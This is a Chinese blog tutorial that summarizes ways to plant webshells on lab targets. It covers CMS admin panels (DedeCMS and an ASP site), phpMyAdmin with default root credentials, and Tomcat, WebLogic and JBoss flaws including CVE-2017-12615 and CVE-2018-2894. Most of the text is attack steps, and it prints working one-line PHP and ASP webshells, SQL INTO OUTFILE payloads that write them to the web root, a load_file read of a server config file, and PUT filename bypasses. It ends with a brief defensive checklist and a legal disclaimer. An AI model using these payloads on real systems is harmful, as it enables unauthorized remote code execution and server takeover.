webshell获取总结（cms获取方法、非cms获取方法、中间件拿Webshell方法）

2024-06-13 01:12
文章标签 总结 方法 获取 cms 中间件 webshell

本文主要是介绍webshell获取总结（cms获取方法、非cms获取方法、中间件拿Webshell方法），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

目录

前期准备：

1、cookices靶场网站搭建：

 2、dedecms靶场环境搭建：

获取Webshell方法总结：

一、CMS获取Webshell方法

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

4、模板修改获取Webshell

例如：

5、插入一句话获取Webshell

例如：

6、修改上传类型获取Webshell

例如：

7、phpMyAdmin获取webshell

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

2、Weblogic获取Webshell

3、JBoss获取Webshell

 四、合法的安全实践与防御措施：

正确使用CMS的建议：

合法途径与安全建议：

前期准备：

1、cookices靶场网站搭建：

iis新建网站：

权限配置：

IUSR用户设置所有权限： 

属性--设置父路径：

管理员登录网站：

账户：admin  admin

http://10.0.0.101:82/admin/Login.asp

 2、dedecms靶场环境搭建：

http://10.0.0.101:90/dedecms/install/

打开phpstudy配置文件， iregister_globalsg改为off，重启phpstudy生效：

刷新页面： 

 登录后台：

http://10.0.0.101:90/dedecms/dede/

 完成。

获取Webshell方法总结：

一、CMS获取Webshell方法

主要通过百度搜索CMS网站程序名称。        

如:phpcms拿Webshell、WordPress后台拿Webshell等

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

cookices靶场后台：在首页--企业信息--企业简介含文件上传：

上传文件进行上传照片马：

木马文件被后台重命名jpg文件 ：

照片地址
http://10.0.0.101:82/UploadFiles/2024612172324797.jpg

找到【系统管理-数据库备份】把原来上传的照片马重命名备份： 

 备份的照片马物理路径调整为链接进行阅览器访问：

http://10.0.0.101:82/admin/Databackup/123.asa

照片马成功执行： 

菜刀远程访问： 

http://10.0.0.101:82/admin/Databackup/123.asaSkull.

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

dedecms靶场后台--系统--SQL命令行工具：

 插入一句话语句写入到站点目录：

Select '<?php eval($_POST[chopper]);?>' into outfile 'c:/phpstudy/www/eval.php';

 前提：MySQL配置文件secure_file_priv="" 为空

 

 成功上传根目录：

 菜刀远程访问：

http://10.0.0.101:90/eval.phpchopper

成功连接访问：

4、模板修改获取Webshell

例如：

 dedecms靶场后台：模板--标签源码管理--编辑php文件：

为php代码修改为php一句话木马：： 

 

 根据文件存放目录访问木马文件：

菜刀远程连接：

http://10.0.0.101:90/dedecms/include/taglib/adminname.lib.phpchopper

 成功访问：

5、插入一句话获取Webshell

例如：

cookices靶场后台：【站点-系统管理-网站配置】与网站配置文件【Config.asp】显示内容一致：

说明：修改站点网站配置内容会直接保存在Config.asp文件里，根据这一特性编辑一句话木马语句插入到网站配置里

 一句话木马：（先用"%>进行闭合前面内容）

"%><%eval request("Skull.")%><%'"

 访问一句话木马

http://10.0.0.101:82/inc/config.asp

菜刀远程连接：

 

6、修改上传类型获取Webshell

例如：

 dedecms靶场后台：核心--附件管理--文件式管理器--点击文件上传：

上传php木马： 

 上传成功，点击访问：

成功执行： 

7、phpMyAdmin获取webshell

web方式mysql管理工具phpMyAdmin

http://10.0.0.101:90/phpmyadmin/

默认账户：root

默认密码：root

 

 点击SQL输入sql语句插入一句话木马：

方法一： 

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[pass]);?>');
use mysql;
SELECT `best1` FROM `best` INTO OUTFILE 'c:\\phpStudy\\WWW\\best111111.php';
DROP TABLE IF EXISTS `best`;

方法二： 

Create TABLE oldboy (best text NOT NULL);
Insert INTO oldboy (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from oldboy into outfile 'C:\\php\\htdocs\\best111111.php';
Drop TABLE IF EXISTS oldboy;

方法三：

select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\htdocs\\best111111.php';

 或

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:/php/htdocs/best111111.php';

读取文件内容 

select load_file(‘c://windows//system32//inetsrv//MetaBase.xml');
c:/windows/system32/inetsrv/MetaBase.xml

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

Tomcat文件上传漏洞：

CVE-2017-12615

CVE-2020-1938

弱口令&war远程部署

参考链接：

干货｜最全的Tomcat漏洞复现笔记

CVE-2017-12615漏洞：

CVE-2017-12615对应的漏洞为任意文件写入，主要影响的是Tomcat的7.0.0-7.0.81这几个版本

Tomcat-漏洞原理

由于配置不当（非默认配置），将配置文件conf/web.xml中的readonly设置为了 false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀的上传

根据描述，在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码

通过阅读 conf/web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT / DELETE 进行文件操控。

这里就需要进行绕过，这里绕过有三种方法：

1.Windows下不允许文件以空格结尾（限于Windows下）
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格2.Windows NTFS流（限于Windows下）
Put/a001.jsp::$DATA HTTP/1.13. /在文件名中是非法的，也会被去除（Linux/Windows）
Put/a001.jsp/http:/1.1

2、Weblogic获取Webshell

任意文件上传漏洞操作（CVE-2018-2894）

未授权访问路径:（未登录）

http://10.0.0.101:7001/ws_utc/config.do

​

 修改当前的工作目录

 默认为：

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

修改为： 

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css

​

 修改目录之后，点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传​

 获取响应包：

​

上传成功：

​

访问上传的木马文件：

访问连接修改抓包获取的id和文件名（1715849377709_muma.jsp）

http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp

 木马文件成功访问执行：

​

由此可以使用webshell工具远程控制。

3、JBoss获取Webshell

 如：访问上传的【jobfan.war压缩包】里的no.jsp文件（jobfan.war压缩包含木马文件）

​

​

 阅览器访问：

（ jboss访问：压缩包名+文件名）

http://10.0.0.101:7777/jobfan/no.jsp

​

 可以执行操作相关命令：​

四、合法的安全实践和防御措施总结：

  1. 安全培训：提升团队对网络安全威胁的意识，包括Webshell的危害和防御策略。
  2. 代码审计：定期审查网站代码，查找并修复潜在的安全漏洞，如注入、跨站脚本(XSS)、文件包含等。
  3. 权限控制：严格限制服务器和应用程序的访问权限，遵循最小权限原则。
  4. 安全配置：正确配置Web服务器、数据库和应用程序框架，禁用不必要的功能和服务。
  5. 输入验证与过滤：对所有用户输入进行严格的验证和过滤，避免恶意数据执行。
  6. 安全更新：定期更新CMS、插件、主题及所有依赖组件，修补已知安全漏洞。
  7. 防火墙与IDS：部署Web应用防火墙和入侵检测系统，监测并阻止可疑请求。
  8. 日志监控：定期审查系统和应用日志，及时发现并响应异常活动。
  9. 备份与恢复计划：制定数据备份策略，确保在遭受攻击时能够迅速恢复。

请始终遵循合法合规的途径，保护网络安全，维护数据隐私，共同营造健康的网络环境。

合法途径与安全建议：

  1. 安全审计与渗透测试：

    • 对网站进行定期的安全审计和渗透测试，但需确保在合法授权下进行，旨在发现并修复安全漏洞，而非恶意利用。

  2. 教育与培训：

    • 加强团队对网络安全知识的学习，了解常见的攻击手段如SQL注入、文件上传漏洞等，并掌握防范措施。

  3. 强化防护措施：

    • 配置服务器以限制不必要的文件执行权限，启用防火墙规则，定期更新系统及应用程序补丁。

  4. 代码审查与安全开发：

    • 实施严格的代码审查流程，采用安全编码实践，如对用户输入进行过滤和验证，使用预编译语句预防SQL注入等。

  5. 应急响应计划：

    • 制定详细的网络安全事件应急响应计划，以便在发生安全事件时迅速有效地应对。

声明：

  • 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。
  • 请始终遵循合法合规的安全操作，维护网络安全环境，保护用户数据安全。

这篇关于webshell获取总结（cms获取方法、非cms获取方法、中间件拿Webshell方法）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/1055865。

相关文章

HarmonyOS学习(七)——UI（五）常用布局总结

HarmonyOS学习(七)——UI（五）常用布局总结

自适应布局 1.1、线性布局（LinearLayout） 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列，Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距，达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式，且在各类尺寸屏幕上表现一致，其中交叉轴为垂直时，取值为Vert
阅读更多...
学习hash总结

学习hash总结

2014/1/29/   最近刚开始学hash，名字很陌生，但是hash的思想却很熟悉，以前早就做过此类的题，但是不知道这就是hash思想而已，说白了hash就是一个映射，往往灵活利用数组的下标来实现算法，hash的作用：1、判重；2、统计次数；
阅读更多...
【C++】_list常用方法解析及模拟实现

【C++】_list常用方法解析及模拟实现

相信自己的力量，只要对自己始终保持信心，尽自己最大努力去完成任何事，就算事情最终结果是失败了，努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一：什么是list？ •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二：list常用接口 •🌰1.默认成员函数 🔥构造函数（⭐） 🔥析构函数 •🌰2.list对象
阅读更多...
浅谈主机加固，六种有效的主机加固方法

浅谈主机加固，六种有效的主机加固方法

在数字化时代，数据的价值不言而喻，但随之而来的安全威胁也日益严峻。从勒索病毒到内部泄露，企业的数据安全面临着前所未有的挑战。为了应对这些挑战，一种全新的主机加固解决方案应运而生。 MCK主机加固解决方案，采用先进的安全容器中间件技术，构建起一套内核级的纵深立体防护体系。这一体系突破了传统安全防护的局限，即使在管理员权限被恶意利用的情况下，也能确保服务器的安全稳定运行。 普适主机加固措施：
阅读更多...
webm怎么转换成mp4？这几种方法超多人在用！

webm怎么转换成mp4？这几种方法超多人在用！

webm怎么转换成mp4？WebM作为一种新兴的视频编码格式，近年来逐渐进入大众视野，其背后承载着诸多优势，但同时也伴随着不容忽视的局限性，首要挑战在于其兼容性边界，尽管WebM已广泛适应于众多网站与软件平台，但在特定应用环境或老旧设备上，其兼容难题依旧凸显，为用户体验带来不便，再者，WebM格式的非普适性也体现在编辑流程上，由于它并非行业内的通用标准，编辑过程中可能会遭遇格式不兼容的障碍，导致操
阅读更多...
透彻！驯服大型语言模型（LLMs）的五种方法，及具体方法选择思路

透彻！驯服大型语言模型（LLMs）的五种方法，及具体方法选择思路

引言 随着时间的发展，大型语言模型不再停留在演示阶段而是逐步面向生产系统的应用，随着人们期望的不断增加，目标也发生了巨大的变化。在短短的几个月的时间里，人们对大模型的认识已经从对其zero-shot能力感到惊讶，转变为考虑改进模型质量、提高模型可用性。 「大语言模型(LLMs)其实就是利用高容量的模型架构（例如Transformer）对海量的、多种多样的数据分布进行建模得到，它包含了大量的先验
阅读更多...
git使用的说明总结

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库：创建新文件夹，进入文件夹目录，执行指令 git init ，用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的
阅读更多...
【北交大信息所AI-Max2】使用方法

【北交大信息所AI-Max2】使用方法

BJTU信息所集群AI_MAX2使用方法 使用的前提是预约到相应的算力卡，拥有登录权限的账号密码，一般为导师组共用一个。 有浏览器、ssh工具就可以。 1.新建集群Terminal 浏览器登陆10.126.62.75 （如果是1集群把75改成66） 交互式开发 执行器选Terminal 密码随便设一个（需记住） 工作空间：私有数据、全部文件 加速器选GeForce_RTX_2080_Ti
阅读更多...
二分最大匹配总结

二分最大匹配总结

HDU 2444  黑白染色 ，二分图判定 const int maxn = 208 ;vector<int> g[maxn] ;int n ;bool vis[maxn] ;int match[maxn] ;;int color[maxn] ;int setcolor(int u , int c){color[u] = c ;for(vector<int>::iter
阅读更多...
整数Hash散列总结

整数Hash散列总结

方法：    step1  :线性探测  step2 散列   当 h(k)位置已经存储有元素的时候，依次探查(h(k)+i) mod S, i=1,2,3…，直到找到空的存储单元为止。其中，S为 数组长度。 HDU 1496   a*x1^2+b*x2^2+c*x3^2+d*x4^2=0 。 x在 [-100,100] 解的个数  const int MaxN = 3000
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2